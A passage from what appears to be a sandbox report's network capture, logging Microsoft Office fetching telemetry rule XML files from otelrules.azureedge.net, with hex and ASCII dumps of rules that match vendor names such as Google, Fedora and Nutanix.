R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	57443	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:02 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:02 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 1f480944-c01e-002b-018c-156e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123402Z-15767c5fc554w2fgapsyvy8ua00000000dmg00000000684b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:02 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	57444	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:02 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:02 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:02 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 721d8bd8-801e-002a-4f00-1731dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123402Z-1657d5bbd48xlwdx82gahegw4000000000t0000000000wvt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:34:02 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	57445	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:03 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:03 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 75858473-001e-000b-318c-1515a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123403Z-15767c5fc55gs96cphvgp5f5vc0000000dwg00000000fy72 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:03 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	57446	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:03 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:03 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:03 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 27b6de9f-001e-0046-1e00-17da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123403Z-1657d5bbd48xlwdx82gahegw4000000000q000000000baa3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:34:03 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	57448	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:03 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:03 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: b83a8dc4-f01e-003f-308c-15d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123403Z-15767c5fc55gs96cphvgp5f5vc0000000e0g00000000420u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:03 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	57447	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:03 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:03 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: b9a197f6-401e-0078-3b8c-154d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123403Z-15767c5fc55d6fcl6x6bw8cpdc0000000dtg00000000qhnt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:03 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	57449	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:03 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:03 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 2f8443ca-b01e-0070-308c-151cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123403Z-15767c5fc55rg5b7sh1vuv8t7n0000000ed0000000007qec x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:03 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	57450	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:04 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:04 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 7be6812e-d01e-008e-528c-15387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123404Z-15767c5fc554w2fgapsyvy8ua00000000dg000000000g1pt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:04 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	57452	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:04 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:04 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 7be6821c-d01e-008e-398c-15387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123404Z-15767c5fc55rg5b7sh1vuv8t7n0000000eb000000000dukq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:04 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	57451	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:04 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:04 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 1f480aea-c01e-002b-028c-156e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123404Z-15767c5fc55d6fcl6x6bw8cpdc0000000e00000000004ews x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:04 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	57453	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:04 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:04 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:04 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 46a5aa72-701e-0032-6004-17a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123404Z-1657d5bbd4824mj9d6vp65b6n400000000kg00000000g3xr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:34:04 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	57454	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:04 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:04 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: d803a4ff-401e-0083-3904-17075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123404Z-1657d5bbd48vhs7r2p1ky7cs5w00000000pg00000000p253 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
